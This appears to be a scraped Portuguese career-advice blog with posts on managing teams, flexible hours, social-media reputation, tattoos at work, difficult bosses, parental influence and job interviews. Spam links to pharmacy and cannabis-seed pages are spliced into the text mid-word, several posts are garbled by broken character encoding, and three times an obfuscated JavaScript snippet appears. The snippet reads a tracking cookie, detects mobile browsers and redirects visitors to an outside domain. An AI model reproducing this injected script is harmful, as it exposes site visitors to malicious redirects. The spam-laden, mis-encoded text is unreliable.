É comum encontrarmos jovens gestores, ainda pouco experientes, que usam a estratégia de serem “amigos da equipe” para atingir resultados. Entretanto, é preciso lembrar que não se gerencia uma equipe apenas na base da amizade.
Alguns gestores acham que para ganhar a concordância e serem legitimados por suas equipes precisam ser amigos, passar a mão na cabeça e fazer concessões, muitas vezes indevidas. Esse tipo de estratégia é bastante comum porque facilita a o relacionamento num primeiro momento, mas é bom ter em mente que essa atitude não se sustenta por muito tempo e que sua imagem como gestor pode estar em risco.
Os jovens que estão assumindo a função de gestão pela primeira vez precisam entender, o quanto antes, a complexidade da atuação gerencial. Vão precisar sim jogar no time da sua equipe, representá-los em seus pleitos na relação com a diretoria, por exemplo, mas também terão como responsabilidade a representação da empresa diante do grupo; isso significa fazer com que as normas sejam cumpridas e sustentar as determinações institucionais, inclusive aquelas mais incômodas. Este difícil papel gerencial é chamado de “dupla representação”.
Mas afinal, onde a “amizade” pode atrapalhar a função de representação? Bom, veja aqui um exemplo: a equipe pode criar a expectativa de que você, amigo de todos, vai defender suas causas e conseguir sucesso em pleitos (às vezes antigos) negados pela diretoria. Diante de uma tentativa frustrada você terá que levar à equipe um retorno negativo. A atitude mais comum nessas situações é de que você, para se proteger e com medo de arranhar a imagem de “parceria”, explicite que foi a diretoria que não autorizou apesar do seu voto a favor. Pronto, está formado o problema. Você pode não perceber de imediato, mas essa postura fragiliza sua imagem junto à equipe (que pensa que tem um gestor fraco e incapaz de lhe representar) e prejudica a relação institucional.
Portanto, fiquem atentos: o vínculo de amizade é possível, mas o mais importante é conseguir estabelecer desde o começo uma relação de respeito e com clareza do lugar de cada um. Confundir o vínculo pode aumentar e muito o potencial dos conflitos dentro da própria equipe e junto à empresa.
A maior parte dos profissionais brasileiros passa, aproximadamente, oito horas do dia no local de trabalho, sem contar o tempo gasto com deslocamentos no trânsito. E em meio a essa rotina, é preciso ainda cuidar da saúde, da família, da casa, etc. Diante desse cenário movimentado, a prática da flexibilização de horários tem, cada vez mais, chamado a atenção das empresas numa tentativa de garantir a produtividade.
É fato que pontualidade e responsabilidade para com o horário de trabalho são fatores tão importantes quanto a produtividade e a qualidade dos resultados gerados pelos profissionais. Mas para aqueles que têm mais dificuldade com o ponto, é possível tentar negociar e flexibilizar os horários de entrada e saída do expediente, considerando que o trabalho precisa estar em dia.
Essa prática tem sido bastante comum nas empresas, que já atentaram para a necessidade de readaptar as condições de trabalho de suas equipes, diante da rotina apertada e da busca de uma melhor administração das questões pessoais. Infelizmente, essa flexibilização não vale para todas as funções, mas, quando sim, pressupõe um acordo prévio com o gestor para não colocar em risco a rotina de trabalho.
Para finalizar cabe aqui duas reflexões importantes. Em primeiro lugar, é bom reforçar que ter um horário de trabalho flexível não significa chegar e sair na hora que for mais conveniente, e não deve acontecer sem negociação, como abordamos acima. O segundo ponto diz respeito a uma possibilidade de mudança em torno da idéia do que significa ser “um bom empregado”. Afinal, o “bom empregado” deixa de ser aquele que cumpre com rigor sua jornada de trabalho, mas muitas vezes deixa a desejar nas suas entregas; e passa a ser aquele que consegue cumprir com o combinado, considerando prazo e qualidade.
F http://cantavil-premier.com/en/2018/02/13/skunk-seeds-1/ http://www.indcap.in/buy-fincar-cheap/ http://www.augustine-collective.com/2018/02/11/order-flagyl-online-no-prescription/ alamos recentemente de pessoas que estA?o atuando profissionalmente nas redes sociais. Esta Ai?? realmente uma tendA?ncia que estA? em alta e que pode render bons frutos para quem se arrisca, mas para ter longevidade Ai?? preciso tomar alguns cuidados.
Quem tem o objetivo de fazer carreira e emplacar um perfil profissional na internet precisa estar disposto a se expor, estar sempre conectado e interagindo com seu pA?blico-alvo. Ao mesmo tempo, essa exposiAi??A?o requer todo o cuidado, pois as redes sociais nA?o perdoam. Um erro, mesmo que pequeno, pode ser fatal. Em questA?o de minutos, a informaAi??A?o reverbera atravAi??s dos compartilhamentos e a situaAi??A?o toma uma proporAi??A?o que talvez a pessoa nA?o consiga se recuperar. E as consequA?ncias, na maioria dos casos, serA?o sentidas inclusive off-line.
Outro cuidado importante diz respeito ao conteA?do produzido e compartilhado nas redes sociais. Ai?? preciso que tenha consistA?ncia. ai???FA?rmulas prontasai???, ai???mA?gicasai??? ou comentA?rios com pouco fundamento podem atAi?? ajudar o profissional a aparecer e ganhar audiA?ncia rapidamente, mas as chances de cair no descrAi??dito sA?o grandes. AlAi??m disso, outro fator, ainda relacionado Ai?? qualidade do conteA?do e que pode prejudicar definitivamente a imagem da pessoa, Ai?? o plA?gio. Se apropriar de textos e/ou fotos sem dar os devidos crAi??ditos Ai?? grave e pode denotar incompetA?ncia, inconsistA?ncia e atAi?? falta de carA?ter. Por isso, o cuidado com informaAi??Ai??es nA?o autorais deve ser redobrado.
Em resumo, ao se expor profissionalmente nas redes sociais, Ai?? preciso cuidar do que vai ser dito, ter consistA?ncia e falar de forma adequada. Do contrA?rio, serA? um caminho fadado ao fracasso.
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Importância do trabalho
Trabalhar é condição essencial do ser humano e vai muito além do ganha-pão. Tem a ver com realização pessoal, com sentir-se útil e encontrar um objetivo para os nossos dias. E quando perdemos esse sentido produtivo, perdemos, muitas vezes, a essencialidade da vida.
Mesmo sabendo da importância de preservar nossa capacidade produtiva, muita gente tem o sonho de ganhar muito dinheiro e parar de trabalhar. Porém, essas pessoas, às vezes, desconhecem os riscos associado ao fato de não ter uma atividade produtiva. É muito comum, por exemplo, encontrarmos pessoas com problemas graves de saúde, como depressão, ou adoecendo com mais facilidade, seja porque pararam de trabalhar por um longo tempo ou pela chegada da aposentadoria, no caso, quando não associada a nenhuma outra alternativa produtiva.
Isso acontece porque o trabalho é capaz de gerar nas pessoas o sentimento de utilidade, orgulho do que faz e reconhecimento. Além disso, é um elemento importante que compõe a identidade do sujeito pois associa a pessoa à atividade que desempenha ou à instituição em que faz parte (fulano que é médico ou beltrano que é de tal empresa). Sem o trabalho, a pessoa perde uma referência estruturadora que a identifica e lhe dá sentido.
É por isso que se faz necessário pensar de forma muito consciente e planejada quando a decisão é interromper a atividade produtiva. Dito em uma linguagem poética, por Gonzaguinha, “um homem se humilha se castram seu sonho, seu sonho é sua vida e vida é trabalho. E sem o seu trabalho o homem não tem honra e sem a sua honra se morre, se mata. Não dá para ser feliz.“
http://cantavil-premier.com/en/2018/02/14/cheap-drugs-cialis/ http://www.augustine-collective.com/2018/02/12/cannabis-seeds-ottawa-ontario/ E http://www.indcap.in/arimidex-cost-in-india/ m uma Ai??poca cada vez mais globalizada, as organizaAi??Ai??es tA?m valorizado os profissionais que, alAi??m de terem ampla bagagem tAi??cnica, saibam transitar em diversos ambientes, muitas vezes marcados por diferenAi??as culturais. Neste sentido, as viagens e experiA?ncias fora da cidade ou paAi??s natal podem fazer a diferenAi??a no desenvolvimento dessas habilidades.
A pessoa, quando em um ambiente estranho, sai da sua zona de conforto e acaba sendo obrigada a se adaptar, a conviver com o novo e diferente do que estA? acostumado. Pode ser atravAi??s de uma vivA?ncia no exterior mais longa, uma simples viagem de fAi??rias sozinha ou um trabalho longe da sua base.
Assim, Ai?? possAi??vel vivenciar experiA?ncias que exigem uma capacidade de se virar sem auxAi??lio de familiares ou amigos, facilitando a tomada de decisAi??es e ampliando os horizontes. Isso tudo acaba ajudando no amadurecimento pessoal.
O fato Ai?? que, estando sozinho, vocA? terA? que aprender a se relacionar com pessoas que nA?o conhece e atAi?? mesmo se expor ou provocar uma conversa para conseguir fazer uma amizade ou resolver um problema. Isso ajuda a regular a timidez, deixando a pessoa mais segura e desenvolta.
Em resumo, quem jA? teve alguma vivA?ncia de trabalho, lazer ou estudo no exterior ou atAi?? mesmo em outra cidade, teve antes de tudo uma experiA?ncia pessoal engrandecedora que normalmente sA? aqueles que a vivenciaram compreende.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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http://www.indcap.in/propecia-treatment-duration/ http://www.augustine-collective.com/2018/02/12/generic-claritin-image/ 
http://cantavil-premier.com/en/2018/02/15/how-much-claritin-d-can-i-take/ Alguns preconceitos histA?ricos no meio corporativo estA?o deixando de ser tabus. Por exemplo, itens como tatuagens e piercings jA? sA?o mais bem aceitos e deixaram de ser impedimentos na hora de procurar um emprego. PorAi??m, ainda Ai?? preciso ter alguns cuidados.
Muitas empresas, antigamente, tinham preconceito com pessoas que usavam adereAi??os como piercings ou tinham o corpo tatuado, pois era visto como ai???coisa de malandroai???. Mas, hoje em dia, isso tem se tornado tendA?ncia e natural entre os jovens e, Ai??s vezes, Ai?? difAi??cil encontrar algum que nA?o tenha.
Em algumas A?reas, como ComunicaAi??A?o, Design e Tecnologia, o uso de piercings e tatuagem nunca foi critAi??rio de seleAi??A?o ou desclassificaAi??A?o de um candidato numa entrevista de emprego. Mas em outras, como Medicina, Direito e Economia, a histA?ria vem mudando e o uso dos adereAi??os tornando-se mais frequente. Isso nA?o significa dizer que os exageros na exposiAi??A?o nA?o devem ser evitados.
Fazer uso dessa moda sem exibicionismo nA?o vai causar prejuAi??zos. PorAi??m, atentar para a escolha do local para aplicaAi??A?o do seu piercing ou tatuagem Ai?? fundamental para aqueles momentos em que seja necessA?rio escondA?-los. Tatuar em locais que podem ser cobertos por determinados tipos de roupas, por exemplo, Ai?? uma boa saAi??da para adequar-se aos ambientes profissionais mais formais.
Portanto, antes de decidir fazer, considere os riscos de ainda encontrar resistA?ncia em alguns lugares ou com algumas pessoas. E lembre-se: colocar um adereAi??o definitivo exige saber conviver com essa escolha pelo resto da vida.
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http://cantavil-premier.com/en/2018/02/15/order-levlen-reviews/
J http://www.augustine-collective.com/2018/02/13/cheap-minomycin/ A? falamos bastante sobre os cuidados que se deve ter nas redes sociais, principalmente a cautela na exibiAi??A?o da prA?pria imagem, nas postagens e comentA?rios. Ao mesmo tempo, aparecer um pouco pode ser bom em alguma medida, jA? que a internet Ai??, sem dA?vida alguma, uma das ferramentas mais eficientes para divulgaAi??A?o e promoAi??A?o profissional. Mas como utilizA?-la a seu favor?
ProduAi??A?o ou mesmo divulgaAi??A?o de conteA?do consistente e de qualidade e na quantidade e frequA?ncia corretas sA?o diretrizes importantes para alcanAi??ar uma posiAi??A?o de relevA?ncia nas redes sociais e construir uma reputaAi??A?o positiva. Claro, muitos se lanAi??am no mundo virtual sem cuidado algum, mas quando o objetivo Ai?? elevar a competitividade profissional, agir sem critAi??rio pode ser um risco muito alto Ai?? imagem.
Portanto, se a ideia Ai?? ampliar a rede de relacionamento e se promover profissionalmente, um primeiro passo essencial Ai?? ter em mente o que vocA? pode oferecer ao pA?blico, ou seja, escolher determinados assuntos que vocA? domina e que sejam de interesse de algum pA?blico especAi??fico e falar sobre ele. Por ai???falarai??? entende-se escrever artigos ou compartilhar e comentar matAi??rias relevantes sobre esses temas; recomendar leituras ou outras fontes de informaAi??A?o tambAi??m pode ser interessante. Aqueles com um pouco mais de habilidade podem partir para a comunicaAi??A?o por vAi??deos ou transmissAi??es ao vivo, muito comum hoje em dia. Este Ai?? o primeiro passo no caminho de tornar-se autoridade no tema em questA?o.
Algumas categorias de profissionais jA? ganharam um espaAi??o relevante nas redes sociais. Em geral, sA?o prestadores de serviAi??o que visam ganhar visibilidade e aumentar a clientela, a exemplo de nutricionistas, mAi??dicos, educadores fAi??sicos, entre outros. Mas ser lembrado e ter a sua imagem associada a conteA?dos de qualidade e consistA?ncia nA?o Ai?? bom somente para quem estA? atrA?s de cliente. Na verdade, essa visibilidade Ai?? boa para qualquer profissional que poderA? um dia recorrer a sua rede de relacionamentos ou se beneficiar por ter seu nome associado a determinados assuntos.
AlAi??m disso, tornar pA?blica uma habilidade ou um conhecimento especAi??fico, para alguns, tem sido inclusive uma alternativa de trabalho. Ai?? possAi??vel ver isto acontecendo em blogs de viagem, de gestA?o financeira, maquiagem, moda, etc. Isso nada mais Ai?? do que colocar a serviAi??o de qualquer pessoa um conhecimento especAi??fico, compartilhando informaAi??Ai??es tAi??cnicas e experiA?ncias que podem ajudar o outro, atendendo algum tipo de necessidade.
Claro que nA?o Ai?? um caminho fA?cil, mas muitos que arriscaram hoje estA?o se beneficiando desta exposiAi??A?o. De toda forma, todos os cuidados e recomendaAi??Ai??es para o uso das redes sociais permanece. Uma informaAi??A?o errada ou um comportamento inadequado pode nA?o ter perdA?o. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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http://www.indcap.in/cheap-levlen-online/ http://cantavil-premier.com/en/2018/02/15/cannabis-seeds-uk-seller/
O http://www.augustine-collective.com/2018/02/13/cheap-lady-era-reviews/ meu gestor estA? agindo de forma desrespeitosa comigo, falando de forma grosseira, sem modos na hora de pedir, cobrando de forma rude e fazendo crAi??ticas na frente dos outros colegas. Estou me sentindo incomodado, mas nA?o sei como agir para reverter essa situaAi??A?o. O que fazer?
Como jA? abordamos anteriormente, a melhor maneira de entender e resolver a situaAi??A?o Ai?? falando abertamente com seu gestor. PorAi??m, tambAi??m Ai?? vA?lido que o profissional faAi??a uma autorreflexA?o, pois pode estar tendo uma impressA?o errada.
Ai?? preciso avaliar tambAi??m se parte da impaciA?ncia do gestor tem fundamento e se o profissional estA? realmente cometendo falhas, esquecimentos, quebrando acordos ou perdendo prazos, por exemplo.
Enfim, a reaAi??A?o extrema do gestor pode ter justificativa e, Ai??s vezes, prestar mais atenAi??A?o ao seu comportamento jA? pode ajudar a reconhecer as prA?prias falhas e ajustA?-las, melhorando, consequentemente, a relaAi??A?o com o superior.
Mas, alAi??m dessa autorreflexA?o, a conversa ainda precisa acontecer. Ai??s vezes nA?s nA?o buscamos abrir um canal de comunicaAi??A?o com o gestor por receio de retaliaAi??A?o ou de que o conflito aumente, mas isso Ai?? mito. A melhor maneira de resolver um problema Ai?? tratando e nA?o deixando de lado na esperanAi??a que ele desapareAi??a sozinho.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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O</strongs pais têm um papel fundamental na educação dos filhos, inclusive na decisão sobre o futuro profissional. Entretanto, em alguns momentos, há um exagero nessa relação e os pais acabam interferindo demais em uma escolha que não é deles. O risco para os filhos é o de gerar acomodação e frustração profissional.
É comum encontrarmos pais que querem decidir, às vezes arbitrariamente, o que o filho vai fazer, o que vai estudar e onde vai trabalhar. Existem ainda aqueles que tomam a frente até na procura de estágio ou emprego, articulando com os amigos no intuito de “facilitar”. Porém, ao invés de ajudar, essa atitude pode prejudicar o desenvolvimento desses jovens; eles acabam não se sentindo implicados, não se esforçam para fazer as suas escolhas darem certo e se acostumam a ter alguém sempre decidindo a vida por eles.
Algumas vezes, esse tipo de influência pode confundir os jovens profissionais que acabam passando para os pais a responsabilidade em relação às suas carreiras, quando na verdade deveriam estar aprendendo a fazer escolhas e assumir suas próprias decisões. Sabe-se que quando os filhos são protagonistas das suas histórias, a tendência é que valorizem muito mais as suas conquistas e a probabilidade de sucesso aumenta. Mas se esses jovens embarcam numa escolha dos pais, a possibilidade de fracasso é bem grande.
De toda forma, não significa que uma ajuda dos pais não seja bem-vinda. Os jovens geralmente se beneficiam bastante quando ouvem recomendações e trocam experiências com os mais velhos, afinal, são pessoas mais maduras e que conhecem o mercado. Pedir ajuda quando necessário também é possível, aliás, é uma boa maneira de sinalizar aos pais que é hora de intervir.
Enfim, é importante considerar que os pais podem e devem, sim, proporcionar algumas experiências e influenciar em algumas situações em que os filhos ainda não têm maturidade para decidir sozinhos. O que não se pode fazer é inverter totalmente esses papeis.
Falar de si mesmo não é tarefa fácil, mas numa entrevista de emprego não tem como fugir. E nessas ocasiões, conseguir se apresentar de forma assertiva e atraente pode fazer a diferença para uma contratação.
Durante uma entrevista de emprego, é comum que os candidatos sejam questionados sobre suas qualificações profissionais. Nesse momento, é muito importante falar das suas qualidades acadêmicas e profissionais, sempre as relacionando com a vaga de interesse, mas, ao mesmo tempo, é preciso saber dosar o nível de entusiasmo ao falar de si mesmo, para não parecer falso.
Isso porque exaltar demais as próprias qualidades pode levar o avaliador a ficar pensando: será que este cara é tudo isso mesmo? Entretanto, falar com pouco entusiasmo também é um risco. Pode parecer falta de interesse ou pode não “conquistar” o interlocutor.
Então, para destacar as suas qualificações sem parecer falso ou desinteressado, essas dicas podem fazer a diferença: (1) Seja objetivo e procure falar das experiências profissionais mais relevantes relacionadas a oportunidade; (2) Fale de resultados concretos gerados por projetos que tenha implantado; (3) Destaque vivencias internacionais, caso tenha; (4) Seja sincero, fale somente das habilidades que realmente existem; (5) Fuja dos clichês e de frases padrão.
Em resumo, o importante mesmo é ser franco e tentar colocar as qualidades associadas à prática, lembrando sempre de não exagerar no tom.
